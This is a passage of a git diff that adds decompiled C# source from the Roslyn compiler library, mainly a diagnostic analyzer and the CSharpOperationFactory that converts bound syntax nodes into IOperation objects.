(DiagnosticInfo)(object)new XmlSyntaxDiagnosticInfo(this, severity); + } + + protected override void WriteTo(ObjectWriter writer) + { + base.WriteTo(writer); + writer.WriteUInt32((uint)_xmlErrorCode); + } + + private XmlSyntaxDiagnosticInfo(ObjectReader reader) + : base(reader) + { + _xmlErrorCode = (XmlParseErrorCode)reader.ReadUInt32(); + } + + public override string GetMessage(IFormatProvider? formatProvider = null) + { + CultureInfo cultureInfo = formatProvider as CultureInfo; + string format = ((DiagnosticInfo)this).MessageProvider.LoadMessage(((DiagnosticInfo)this).Code, cultureInfo); + string message = ErrorFacts.GetMessage(_xmlErrorCode, cultureInfo); + if (((DiagnosticInfo)this).Arguments == null || ((DiagnosticInfo)this).Arguments.Length == 0) + { + return string.Format(formatProvider, format, message); + } + return string.Format(formatProvider, string.Format(formatProvider, format, message), ((DiagnosticInfo)this).GetArgumentsToUse(formatProvider)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.Diagnostics.CSharp/CSharpCompilerDiagnosticAnalyzer.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.Diagnostics.CSharp/CSharpCompilerDiagnosticAnalyzer.cs new file mode 100644 index 0000000..afa9d98 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.Diagnostics.CSharp/CSharpCompilerDiagnosticAnalyzer.cs @@ -0,0 +1,32 @@ +using System; +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis.Diagnostics.CSharp; + +[DiagnosticAnalyzer("C#", new string[] { })] +internal sealed class CSharpCompilerDiagnosticAnalyzer : CompilerDiagnosticAnalyzer +{ + protected override CommonMessageProvider MessageProvider => (CommonMessageProvider)(object)Microsoft.CodeAnalysis.CSharp.MessageProvider.Instance; + + internal override ImmutableArray GetSupportedErrorCodes() + { + Array values = Enum.GetValues(typeof(ErrorCode)); + ArrayBuilder instance = ArrayBuilder.GetInstance(values.Length); + foreach (ErrorCode item in values) + { + bool flag = !ErrorFacts.IsBuildOnlyDiagnostic(item); + if (flag) + { + bool flag2 = (uint)(item - -2) <= 1u; + flag = !flag2; + } + if (flag) + { + instance.Add((int)item); + } + } + return instance.ToImmutableAndFree(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.Operations/CSharpOperationFactory.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.Operations/CSharpOperationFactory.cs new file mode 100644 index 0000000..d90da36 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.Operations/CSharpOperationFactory.cs @@ -0,0 +1,3272 @@ +using System; +using System.Collections.Immutable; +using System.Diagnostics.CodeAnalysis; +using System.Linq; +using System.Threading; +using Microsoft.CodeAnalysis.CSharp; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class CSharpOperationFactory +{ + internal class Helper + { + internal static bool IsPostfixIncrementOrDecrement(UnaryOperatorKind operatorKind) + { + UnaryOperatorKind unaryOperatorKind = operatorKind.Operator(); + if (unaryOperatorKind == UnaryOperatorKind.PostfixIncrement || unaryOperatorKind == UnaryOperatorKind.PostfixDecrement) + { + return true; + } + return false; + } + + internal static bool IsDecrement(UnaryOperatorKind operatorKind) + { + UnaryOperatorKind unaryOperatorKind = operatorKind.Operator(); + if (unaryOperatorKind == UnaryOperatorKind.PostfixDecrement || unaryOperatorKind == UnaryOperatorKind.PrefixDecrement) + { + return true; + } + return false; + } + + internal static UnaryOperatorKind DeriveUnaryOperatorKind(UnaryOperatorKind operatorKind) + { + return (UnaryOperatorKind)(operatorKind.Operator() switch + { + UnaryOperatorKind.UnaryPlus => 3, + UnaryOperatorKind.UnaryMinus => 4, + UnaryOperatorKind.LogicalNegation => 2, + UnaryOperatorKind.BitwiseComplement => 1, + UnaryOperatorKind.True => 5, + UnaryOperatorKind.False => 6, + _ => 0, + }); + } + + internal static BinaryOperatorKind DeriveBinaryOperatorKind(BinaryOperatorKind operatorKind) + { + return (BinaryOperatorKind)(operatorKind.OperatorWithLogical() switch + { + BinaryOperatorKind.Addition => 1, + BinaryOperatorKind.Subtraction => 2, + BinaryOperatorKind.Multiplication => 3, + BinaryOperatorKind.Division => 4, + BinaryOperatorKind.Remainder => 6, + BinaryOperatorKind.LeftShift => 8, + BinaryOperatorKind.RightShift => 9, + BinaryOperatorKind.UnsignedRightShift => 25, + BinaryOperatorKind.And => 10, + BinaryOperatorKind.Or => 11, + BinaryOperatorKind.Xor => 12, + BinaryOperatorKind.LessThan => 20, + BinaryOperatorKind.LessThanOrEqual => 21, + BinaryOperatorKind.Equal => 16, + BinaryOperatorKind.NotEqual => 18, + BinaryOperatorKind.GreaterThanOrEqual => 22, + BinaryOperatorKind.GreaterThan => 23, + BinaryOperatorKind.LogicalAnd => 13, + BinaryOperatorKind.LogicalOr => 14, + _ => 0, + }); + } + } + + private readonly SemanticModel _semanticModel; + + public CSharpOperationFactory(SemanticModel semanticModel) + { + _semanticModel = semanticModel; + } + + [return: NotNullIfNotNull("boundNode")] + public IOperation? Create(BoundNode? boundNode) + { + //IL_0a70: Unknown result type (might be due to invalid IL or missing references) + //IL_0a76: Expected O, but got Unknown + if (boundNode == null) + { + return null; + } + switch (boundNode.Kind) + { + case BoundKind.DeconstructValuePlaceholder: + return (IOperation?)(object)CreateBoundDeconstructValuePlaceholderOperation((BoundDeconstructValuePlaceholder)boundNode); + case BoundKind.DeconstructionAssignmentOperator: + return (IOperation?)(object)CreateBoundDeconstructionAssignmentOperator((BoundDeconstructionAssignmentOperator)boundNode); + case BoundKind.Call: + return CreateBoundCallOperation((BoundCall)boundNode); + case BoundKind.Local: + return CreateBoundLocalOperation((BoundLocal)boundNode); + case BoundKind.FieldAccess: + return CreateBoundFieldAccessOperation((BoundFieldAccess)boundNode); + case BoundKind.PropertyAccess: + return (IOperation?)(object)CreateBoundPropertyAccessOperation((BoundPropertyAccess)boundNode); + case BoundKind.IndexerAccess: + return CreateBoundIndexerAccessOperation((BoundIndexerAccess)boundNode); + case BoundKind.EventAccess: + return (IOperation?)(object)CreateBoundEventAccessOperation((BoundEventAccess)boundNode); + case BoundKind.EventAssignmentOperator: + return (IOperation?)(object)CreateBoundEventAssignmentOperatorOperation((BoundEventAssignmentOperator)boundNode); + case BoundKind.Parameter: + return (IOperation?)(object)CreateBoundParameterOperation((BoundParameter)boundNode); + case BoundKind.Literal: + return (IOperation?)(object)CreateBoundLiteralOperation((BoundLiteral)boundNode); + case BoundKind.Utf8String: + return (IOperation?)(object)CreateBoundUtf8StringOperation((BoundUtf8String)boundNode); + case BoundKind.DynamicInvocation: + return (IOperation?)(object)CreateBoundDynamicInvocationExpressionOperation((BoundDynamicInvocation)boundNode); + case BoundKind.DynamicIndexerAccess: + return (IOperation?)(object)CreateBoundDynamicIndexerAccessExpressionOperation((BoundDynamicIndexerAccess)boundNode); + case BoundKind.ObjectCreationExpression: + return CreateBoundObjectCreationExpressionOperation((BoundObjectCreationExpression)boundNode); + case BoundKind.WithExpression: + return CreateBoundWithExpressionOperation((BoundWithExpression)boundNode); + case BoundKind.DynamicObjectCreationExpression: + return (IOperation?)(object)CreateBoundDynamicObjectCreationExpressionOperation((BoundDynamicObjectCreationExpression)boundNode); + case BoundKind.ObjectInitializerExpression: + return (IOperation?)(object)CreateBoundObjectInitializerExpressionOperation((BoundObjectInitializerExpression)boundNode); + case BoundKind.CollectionInitializerExpression: + return (IOperation?)(object)CreateBoundCollectionInitializerExpressionOperation((BoundCollectionInitializerExpression)boundNode); + case BoundKind.ObjectInitializerMember: + return CreateBoundObjectInitializerMemberOperation((BoundObjectInitializerMember)boundNode); + case BoundKind.CollectionElementInitializer: + return CreateBoundCollectionElementInitializerOperation((BoundCollectionElementInitializer)boundNode); + case BoundKind.DynamicObjectInitializerMember: + return CreateBoundDynamicObjectInitializerMemberOperation((BoundDynamicObjectInitializerMember)boundNode); + case BoundKind.DynamicMemberAccess: + return (IOperation?)(object)CreateBoundDynamicMemberAccessOperation((BoundDynamicMemberAccess)boundNode); + case BoundKind.DynamicCollectionElementInitializer: + return (IOperation?)(object)CreateBoundDynamicCollectionElementInitializerOperation((BoundDynamicCollectionElementInitializer)boundNode); + case BoundKind.UnboundLambda: + return CreateUnboundLambdaOperation((UnboundLambda)boundNode); + case BoundKind.Lambda: + return (IOperation?)(object)CreateBoundLambdaOperation((BoundLambda)boundNode); + case BoundKind.Conversion: + return CreateBoundConversionOperation((BoundConversion)boundNode); + case BoundKind.AsOperator: + return (IOperation?)(object)CreateBoundAsOperatorOperation((BoundAsOperator)boundNode); + case BoundKind.IsOperator: + return (IOperation?)(object)CreateBoundIsOperatorOperation((BoundIsOperator)boundNode); + case BoundKind.SizeOfOperator: + return (IOperation?)(object)CreateBoundSizeOfOperatorOperation((BoundSizeOfOperator)boundNode); + case BoundKind.TypeOfOperator: + return (IOperation?)(object)CreateBoundTypeOfOperatorOperation((BoundTypeOfOperator)boundNode); + case BoundKind.ArrayCreation: + return (IOperation?)(object)CreateBoundArrayCreationOperation((BoundArrayCreation)boundNode); + case BoundKind.ArrayInitialization: + return (IOperation?)(object)CreateBoundArrayInitializationOperation((BoundArrayInitialization)boundNode); + case BoundKind.CollectionExpression: + return CreateBoundCollectionExpression((BoundCollectionExpression)boundNode); + case BoundKind.CollectionExpressionSpreadElement: + return CreateBoundCollectionExpressionSpreadElement((BoundCollectionExpressionSpreadElement)boundNode); + case BoundKind.DefaultLiteral: + return (IOperation?)(object)CreateBoundDefaultLiteralOperation((BoundDefaultLiteral)boundNode); + case BoundKind.DefaultExpression: + return (IOperation?)(object)CreateBoundDefaultExpressionOperation((BoundDefaultExpression)boundNode); + case BoundKind.BaseReference: + return (IOperation?)(object)CreateBoundBaseReferenceOperation((BoundBaseReference)boundNode); + case BoundKind.ThisReference: + return (IOperation?)(object)CreateBoundThisReferenceOperation((BoundThisReference)boundNode); + case BoundKind.AssignmentOperator: + return CreateBoundAssignmentOperatorOrMemberInitializerOperation((BoundAssignmentOperator)boundNode); + case BoundKind.CompoundAssignmentOperator: + return (IOperation?)(object)CreateBoundCompoundAssignmentOperatorOperation((BoundCompoundAssignmentOperator)boundNode); + case BoundKind.IncrementOperator: + return (IOperation?)(object)CreateBoundIncrementOperatorOperation((BoundIncrementOperator)boundNode); + case BoundKind.BadExpression: + return (IOperation?)(object)CreateBoundBadExpressionOperation((BoundBadExpression)boundNode); + case BoundKind.NewT: + return (IOperation?)(object)CreateBoundNewTOperation((BoundNewT)boundNode); + case BoundKind.NoPiaObjectCreationExpression: + return (IOperation?)(object)CreateNoPiaObjectCreationExpressionOperation((BoundNoPiaObjectCreationExpression)boundNode); + case BoundKind.UnaryOperator: + return (IOperation?)(object)CreateBoundUnaryOperatorOperation((BoundUnaryOperator)boundNode); + case BoundKind.BinaryOperator: + case BoundKind.UserDefinedConditionalLogicalOperator: + return CreateBoundBinaryOperatorBase((BoundBinaryOperatorBase)boundNode); + case BoundKind.TupleBinaryOperator: + return (IOperation?)(object)CreateBoundTupleBinaryOperatorOperation((BoundTupleBinaryOperator)boundNode); + case BoundKind.ConditionalOperator: + return (IOperation?)(object)CreateBoundConditionalOperatorOperation((BoundConditionalOperator)boundNode); + case BoundKind.NullCoalescingOperator: + return (IOperation?)(object)CreateBoundNullCoalescingOperatorOperation((BoundNullCoalescingOperator)boundNode); + case BoundKind.AwaitExpression: + return (IOperation?)(object)CreateBoundAwaitExpressionOperation((BoundAwaitExpression)boundNode); + case BoundKind.ArrayAccess: + return (IOperation?)(object)CreateBoundArrayAccessOperation((BoundArrayAccess)boundNode); + case BoundKind.ImplicitIndexerAccess: + return CreateBoundImplicitIndexerAccessOperation((BoundImplicitIndexerAccess)boundNode); + case BoundKind.InlineArrayAccess: + return (IOperation?)(object)CreateBoundInlineArrayAccessOperation((BoundInlineArrayAccess)boundNode); + case BoundKind.NameOfOperator: + return (IOperation?)(object)CreateBoundNameOfOperatorOperation((BoundNameOfOperator)boundNode); + case BoundKind.ThrowExpression: + return (IOperation?)(object)CreateBoundThrowExpressionOperation((BoundThrowExpression)boundNode); + case BoundKind.AddressOfOperator: + return (IOperation?)(object)CreateBoundAddressOfOperatorOperation((BoundAddressOfOperator)boundNode); + case BoundKind.ImplicitReceiver: + return (IOperation?)(object)CreateBoundImplicitReceiverOperation((BoundImplicitReceiver)boundNode); + case BoundKind.ConditionalAccess: + return (IOperation?)(object)CreateBoundConditionalAccessOperation((BoundConditionalAccess)boundNode); + case BoundKind.ConditionalReceiver: + return (IOperation?)(object)CreateBoundConditionalReceiverOperation((BoundConditionalReceiver)boundNode); + case BoundKind.FieldEqualsValue: + return (IOperation?)(object)CreateBoundFieldEqualsValueOperation((BoundFieldEqualsValue)boundNode); + case BoundKind.PropertyEqualsValue: + return (IOperation?)(object)CreateBoundPropertyEqualsValueOperation((BoundPropertyEqualsValue)boundNode); + case BoundKind.ParameterEqualsValue: + return (IOperation?)(object)CreateBoundParameterEqualsValueOperation((BoundParameterEqualsValue)boundNode); + case BoundKind.Block: + return (IOperation?)(object)CreateBoundBlockOperation((BoundBlock)boundNode); + case BoundKind.ContinueStatement: + return (IOperation?)(object)CreateBoundContinueStatementOperation((BoundContinueStatement)boundNode); + case BoundKind.BreakStatement: + return (IOperation?)(object)CreateBoundBreakStatementOperation((BoundBreakStatement)boundNode); + case BoundKind.YieldBreakStatement: + return (IOperation?)(object)CreateBoundYieldBreakStatementOperation((BoundYieldBreakStatement)boundNode); + case BoundKind.GotoStatement: + return (IOperation?)(object)CreateBoundGotoStatementOperation((BoundGotoStatement)boundNode); + case BoundKind.NoOpStatement: + return (IOperation?)(object)CreateBoundNoOpStatementOperation((BoundNoOpStatement)boundNode); + case BoundKind.IfStatement: + return (IOperation?)(object)CreateBoundIfStatementOperation((BoundIfStatement)boundNode); + case BoundKind.WhileStatement: + return (IOperation?)(object)CreateBoundWhileStatementOperation((BoundWhileStatement)boundNode); + case BoundKind.DoStatement: + return (IOperation?)(object)CreateBoundDoStatementOperation((BoundDoStatement)boundNode); + case BoundKind.ForStatement: + return (IOperation?)(object)CreateBoundForStatementOperation((BoundForStatement)boundNode); + case BoundKind.ForEachStatement: + return (IOperation?)(object)CreateBoundForEachStatementOperation((BoundForEachStatement)boundNode); + case BoundKind.TryStatement: + return (IOperation?)(object)CreateBoundTryStatementOperation((BoundTryStatement)boundNode); + case BoundKind.CatchBlock: + return (IOperation?)(object)CreateBoundCatchBlockOperation((BoundCatchBlock)boundNode); + case BoundKind.FixedStatement: + return (IOperation?)(object)CreateBoundFixedStatementOperation((BoundFixedStatement)boundNode); + case BoundKind.UsingStatement: + return (IOperation?)(object)CreateBoundUsingStatementOperation((BoundUsingStatement)boundNode); + case BoundKind.ThrowStatement: + return (IOperation?)(object)CreateBoundThrowStatementOperation((BoundThrowStatement)boundNode); + case BoundKind.ReturnStatement: + return (IOperation?)(object)CreateBoundReturnStatementOperation((BoundReturnStatement)boundNode); + case BoundKind.YieldReturnStatement: + return (IOperation?)(object)CreateBoundYieldReturnStatementOperation((BoundYieldReturnStatement)boundNode); + case BoundKind.LockStatement: + return (IOperation?)(object)CreateBoundLockStatementOperation((BoundLockStatement)boundNode); + case BoundKind.BadStatement: + return (IOperation?)(object)CreateBoundBadStatementOperation((BoundBadStatement)boundNode); + case BoundKind.LocalDeclaration: + return CreateBoundLocalDeclarationOperation((BoundLocalDeclaration)boundNode); + case BoundKind.MultipleLocalDeclarations: + case BoundKind.UsingLocalDeclarations: + return CreateBoundMultipleLocalDeclarationsBaseOperation((BoundMultipleLocalDeclarationsBase)boundNode); + case BoundKind.LabelStatement: + return (IOperation?)(object)CreateBoundLabelStatementOperation((BoundLabelStatement)boundNode); + case BoundKind.LabeledStatement: + return (IOperation?)(object)CreateBoundLabeledStatementOperation((BoundLabeledStatement)boundNode); + case BoundKind.ExpressionStatement: + return (IOperation?)(object)CreateBoundExpressionStatementOperation((BoundExpressionStatement)boundNode); + case BoundKind.TupleLiteral: + case BoundKind.ConvertedTupleLiteral: + return CreateBoundTupleOperation((BoundTupleExpression)boundNode); + case BoundKind.InterpolatedString: + return (IOperation?)(object)CreateBoundInterpolatedStringExpressionOperation((BoundInterpolatedString)boundNode); + case BoundKind.StringInsert: + return (IOperation?)(object)CreateBoundInterpolationOperation((BoundStringInsert)boundNode); + case BoundKind.LocalFunctionStatement: + return (IOperation?)(object)CreateBoundLocalFunctionStatementOperation((BoundLocalFunctionStatement)boundNode); + case BoundKind.AnonymousObjectCreationExpression: + return (IOperation?)(object)CreateBoundAnonymousObjectCreationExpressionOperation((BoundAnonymousObjectCreationExpression)boundNode); + case BoundKind.ConstantPattern: + return (IOperation?)(object)CreateBoundConstantPatternOperation((BoundConstantPattern)boundNode); + case BoundKind.DeclarationPattern: + return (IOperation?)(object)CreateBoundDeclarationPatternOperation((BoundDeclarationPattern)boundNode); + case BoundKind.RecursivePattern: + return (IOperation?)(object)CreateBoundRecursivePatternOperation((BoundRecursivePattern)boundNode); + case BoundKind.ITuplePattern: + return (IOperation?)(object)CreateBoundRecursivePatternOperation((BoundITuplePattern)boundNode); + case BoundKind.DiscardPattern: + return CreateBoundDiscardPatternOperation((BoundDiscardPattern)boundNode); + case BoundKind.BinaryPattern: + return CreateBoundBinaryPatternOperation((BoundBinaryPattern)boundNode); + case BoundKind.NegatedPattern: + return CreateBoundNegatedPatternOperation((BoundNegatedPattern)boundNode); + case BoundKind.RelationalPattern: + return CreateBoundRelationalPatternOperation((BoundRelationalPattern)boundNode); + case BoundKind.TypePattern: + return CreateBoundTypePatternOperation((BoundTypePattern)boundNode); + case BoundKind.SlicePattern: + return CreateBoundSlicePatternOperation((BoundSlicePattern)boundNode); + case BoundKind.ListPattern: + return CreateBoundListPatternOperation((BoundListPattern)boundNode); + case BoundKind.SwitchStatement: + return (IOperation?)(object)CreateBoundSwitchStatementOperation((BoundSwitchStatement)boundNode); + case BoundKind.SwitchLabel: + return (IOperation?)(object)CreateBoundSwitchLabelOperation((BoundSwitchLabel)boundNode); + case BoundKind.IsPatternExpression: + return (IOperation?)(object)CreateBoundIsPatternExpressionOperation((BoundIsPatternExpression)boundNode); + case BoundKind.QueryClause: + return CreateBoundQueryClauseOperation((BoundQueryClause)boundNode); + case BoundKind.DelegateCreationExpression: + return (IOperation?)(object)CreateBoundDelegateCreationExpressionOperation((BoundDelegateCreationExpression)boundNode); + case BoundKind.RangeVariable: + return CreateBoundRangeVariableOperation((BoundRangeVariable)boundNode); + case BoundKind.ConstructorMethodBody: + return (IOperation?)(object)CreateConstructorBodyOperation((BoundConstructorMethodBody)boundNode); + case BoundKind.NonConstructorMethodBody: + return (IOperation?)(object)CreateMethodBodyOperation((BoundNonConstructorMethodBody)boundNode); + case BoundKind.DiscardExpression: + return CreateBoundDiscardExpressionOperation((BoundDiscardExpression)boundNode); + case BoundKind.NullCoalescingAssignmentOperator: + return CreateBoundNullCoalescingAssignmentOperatorOperation((BoundNullCoalescingAssignmentOperator)boundNode); + case BoundKind.FromEndIndexExpression: + return CreateFromEndIndexExpressionOperation((BoundFromEndIndexExpression)boundNode); + case BoundKind.RangeExpression: + return CreateRangeExpressionOperation((BoundRangeExpression)boundNode); + case BoundKind.SwitchSection: + return (IOperation?)(object)CreateBoundSwitchSectionOperation((BoundSwitchSection)boundNode); + case BoundKind.ConvertedSwitchExpression: + return (IOperation?)(object)CreateBoundSwitchExpressionOperation((BoundConvertedSwitchExpression)boundNode); + case BoundKind.SwitchExpressionArm: + return (IOperation?)(object)CreateBoundSwitchExpressionArmOperation((BoundSwitchExpressionArm)boundNode); + case BoundKind.ObjectOrCollectionValuePlaceholder: + return (IOperation?)(object)CreateCollectionValuePlaceholderOperation((BoundObjectOrCollectionValuePlaceholder)boundNode); + case BoundKind.FunctionPointerInvocation: + return CreateBoundFunctionPointerInvocationOperation((BoundFunctionPointerInvocation)boundNode); + case BoundKind.UnconvertedAddressOfOperator: + return CreateBoundUnconvertedAddressOfOperatorOperation((BoundUnconvertedAddressOfOperator)boundNode); + case BoundKind.InterpolatedStringArgumentPlaceholder: + return CreateBoundInterpolatedStringArgumentPlaceholder((BoundInterpolatedStringArgumentPlaceholder)boundNode); + case BoundKind.InterpolatedStringHandlerPlaceholder: + return CreateBoundInterpolatedStringHandlerPlaceholder((BoundInterpolatedStringHandlerPlaceholder)boundNode); + case BoundKind.Attribute: + return CreateBoundAttributeOperation((BoundAttribute)boundNode); + case BoundKind.GlobalStatementInitializer: + case BoundKind.TypeExpression: + case BoundKind.TypeOrValueExpression: + case BoundKind.NamespaceExpression: + case BoundKind.PointerIndirectionOperator: + case BoundKind.PointerElementAccess: + case BoundKind.RefTypeOperator: + case BoundKind.MakeRefOperator: + case BoundKind.RefValueOperator: + case BoundKind.ArgList: + case BoundKind.ArgListOperator: + case BoundKind.FixedLocalCollectionInitializer: + case BoundKind.PreviousSubmissionReference: + case BoundKind.HostObjectMemberReference: + case BoundKind.Sequence: + case BoundKind.MethodGroup: + case BoundKind.UnconvertedCollectionExpression: + case BoundKind.StackAllocArrayCreation: + case BoundKind.ConvertedStackAllocExpression: + { + ConstantValue val = (boundNode as BoundExpression)?.ConstantValueOpt; + bool flag = boundNode.WasCompilerGenerated; + if (!flag && boundNode.Kind == BoundKind.FixedLocalCollectionInitializer) + { + flag = true; + } + ImmutableArray iOperationChildren = GetIOperationChildren(boundNode); + ITypeSymbol val2 = ((!(boundNode is BoundExpression boundExpression)) ? null : boundExpression.GetPublicTypeSymbol()); + ITypeSymbol val3 = val2; + return (IOperation?)new NoneOperation(iOperationChildren, _semanticModel, boundNode.Syntax, val3, val, flag); + } + default: + throw ExceptionUtilities.UnexpectedValue((object)boundNode.Kind); + } + } + + public ImmutableArray CreateFromArray(ImmutableArray boundNodes) where TBoundNode : BoundNode where TOperation : class, IOperation + { + if (boundNodes.IsDefault) + { + return ImmutableArray.Empty; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(boundNodes.Length); + ImmutableArray.Enumerator enumerator = boundNodes.GetEnumerator(); + while (enumerator.MoveNext()) + { + TBoundNode current = enumerator.Current; + ArrayBuilderExtensions.AddIfNotNull(instance, (TOperation)(object)Create(current)); + } + return instance.ToImmutableAndFree(); + } + + private IMethodBodyOperation CreateMethodBodyOperation(BoundNonConstructorMethodBody boundNode) + { + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Expected O, but got Unknown + //IL_0039: Expected O, but got Unknown + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Expected O, but got Unknown + return (IMethodBodyOperation)new MethodBodyOperation((IBlockOperation)Create(boundNode.BlockBody), (IBlockOperation)Create(boundNode.ExpressionBody), _semanticModel, boundNode.Syntax, boundNode.WasCompilerGenerated); + } + + private IConstructorBodyOperation CreateConstructorBodyOperation(BoundConstructorMethodBody boundNode) + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_0050: Expected O, but got Unknown + //IL_0050: Expected O, but got Unknown + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + //IL_0051: Expected O, but got Unknown + return (IConstructorBodyOperation)new ConstructorBodyOperation(boundNode.Locals.GetPublicSymbols(), Create(boundNode.Initializer), (IBlockOperation)Create(boundNode.BlockBody), (IBlockOperation)Create(boundNode.ExpressionBody), _semanticModel, boundNode.Syntax, boundNode.WasCompilerGenerated); + } + + internal ImmutableArray GetIOperationChildren(IBoundNodeWithIOperationChildren boundNodeWithChildren) + { + ImmutableArray children = boundNodeWithChildren.Children; + if (children.IsDefaultOrEmpty) + { + return ImmutableArray.Empty; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(children.Length); + ImmutableArray.Enumerator enumerator = children.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundNode current = enumerator.Current; + if (current != null) + { + IOperation val = Create(current); + instance.Add(val); + } + } + return instance.ToImmutableAndFree(); + } + + internal ImmutableArray CreateVariableDeclarator(BoundNode declaration, SyntaxNode declarationSyntax) + { + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + switch (declaration.Kind) + { + case BoundKind.LocalDeclaration: + return ImmutableArray.Create(CreateVariableDeclaratorInternal((BoundLocalDeclaration)declaration, (SyntaxNode)(((object)(declarationSyntax as VariableDeclarationSyntax)?.Variables[0]) ?? ((object)declarationSyntax)))); + case BoundKind.MultipleLocalDeclarations: + case BoundKind.UsingLocalDeclarations: + { + BoundMultipleLocalDeclarationsBase obj = (BoundMultipleLocalDeclarationsBase)declaration; + ArrayBuilder instance = ArrayBuilder.GetInstance(obj.LocalDeclarations.Length); + ImmutableArray.Enumerator enumerator = obj.LocalDeclarations.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundLocalDeclaration current = enumerator.Current; + instance.Add(CreateVariableDeclaratorInternal(current, current.Syntax)); + } + return instance.ToImmutableAndFree(); + } + default: + throw ExceptionUtilities.UnexpectedValue((object)declaration.Kind); + } + } + + private IPlaceholderOperation CreateBoundDeconstructValuePlaceholderOperation(BoundDeconstructValuePlaceholder boundDeconstructValuePlaceholder) + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Expected O, but got Unknown + SyntaxNode syntax = boundDeconstructValuePlaceholder.Syntax; + ITypeSymbol publicTypeSymbol = boundDeconstructValuePlaceholder.GetPublicTypeSymbol(); + bool wasCompilerGenerated = boundDeconstructValuePlaceholder.WasCompilerGenerated; + return (IPlaceholderOperation)new PlaceholderOperation((PlaceholderKind)0, _semanticModel, syntax, publicTypeSymbol, wasCompilerGenerated); + } + + private IDeconstructionAssignmentOperation CreateBoundDeconstructionAssignmentOperator(BoundDeconstructionAssignmentOperator boundDeconstructionAssignmentOperator) + { + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Expected O, but got Unknown + IOperation? obj = Create(boundDeconstructionAssignmentOperator.Left); + IOperation val = Create(boundDeconstructionAssignmentOperator.Right.Operand); + SyntaxNode syntax = boundDeconstructionAssignmentOperator.Syntax; + ITypeSymbol publicTypeSymbol = boundDeconstructionAssignmentOperator.GetPublicTypeSymbol(); + bool wasCompilerGenerated = boundDeconstructionAssignmentOperator.WasCompilerGenerated; + return (IDeconstructionAssignmentOperation)new DeconstructionAssignmentOperation(obj, val, _semanticModel, syntax, publicTypeSymbol, wasCompilerGenerated); + } + + private IOperation CreateBoundCallOperation(BoundCall boundCall) + { + //IL_005b: Unknown result type (might be due to invalid IL or missing references) + //IL_0061: Expected O, but got Unknown + //IL_00ba: Unknown result type (might be due to invalid IL or missing references) + //IL_00c0: Expected O, but got Unknown + MethodSymbol method = boundCall.Method; + SyntaxNode syntax = boundCall.Syntax; + ITypeSymbol publicTypeSymbol = boundCall.GetPublicTypeSymbol(); + ConstantValue constantValueOpt = boundCall.ConstantValueOpt; + bool wasCompilerGenerated = boundCall.WasCompilerGenerated; + if (boundCall.OriginalMethodsOpt.IsDefault && !IsMethodInvalid(boundCall.ResultKind, method)) + { + TypeParameterSymbol constrainedToType = GetConstrainedToType(method, boundCall.ReceiverOpt); + bool flag = (object)constrainedToType != null || IsCallVirtual(method, boundCall.ReceiverOpt); + IOperation val = CreateReceiverOperation(boundCall.ReceiverOpt, method); + ImmutableArray immutableArray = DeriveArguments(boundCall); + return (IOperation)new InvocationOperation(method.GetPublicSymbol(), (ITypeSymbol)(object)constrainedToType.GetPublicSymbol(), val, flag, immutableArray, _semanticModel, syntax, publicTypeSymbol, wasCompilerGenerated); + } + return (IOperation)new InvalidOperation(this.CreateFromArray(((IBoundInvalidNode)boundCall).InvalidNodeChildren), _semanticModel, syntax, publicTypeSymbol, constantValueOpt, wasCompilerGenerated); + } + + private static TypeParameterSymbol? GetConstrainedToType(Symbol targetMember, BoundExpression? receiverOpt) + { + if (targetMember.IsStatic && (targetMember.IsAbstract || targetMember.IsVirtual) && receiverOpt is BoundTypeExpression { Type: TypeParameterSymbol type }) + { + return type; + } + return null; + } + + private IOperation CreateBoundFunctionPointerInvocationOperation(BoundFunctionPointerInvocation boundFunctionPointerInvocation) + { + //IL_0059: Unknown result type (might be due to invalid IL or missing references) + //IL_005f: Expected O, but got Unknown + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Expected O, but got Unknown + ITypeSymbol publicTypeSymbol = boundFunctionPointerInvocation.GetPublicTypeSymbol(); + SyntaxNode syntax = boundFunctionPointerInvocation.Syntax; + bool wasCompilerGenerated = boundFunctionPointerInvocation.WasCompilerGenerated; + if (boundFunctionPointerInvocation.ResultKind == LookupResultKind.Viable) + { + IOperation? obj = Create(boundFunctionPointerInvocation.InvokedExpression); + ImmutableArray immutableArray = DeriveArguments(boundFunctionPointerInvocation); + return (IOperation)new FunctionPointerInvocationOperation(obj, immutableArray, _semanticModel, syntax, publicTypeSymbol, wasCompilerGenerated); + } + return (IOperation)new InvalidOperation(this.CreateFromArray(((IBoundInvalidNode)boundFunctionPointerInvocation).InvalidNodeChildren), _semanticModel, syntax, publicTypeSymbol, (ConstantValue)null, wasCompilerGenerated); + } + + private IOperation CreateBoundUnconvertedAddressOfOperatorOperation(BoundUnconvertedAddressOfOperator boundUnconvertedAddressOf) + { + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + 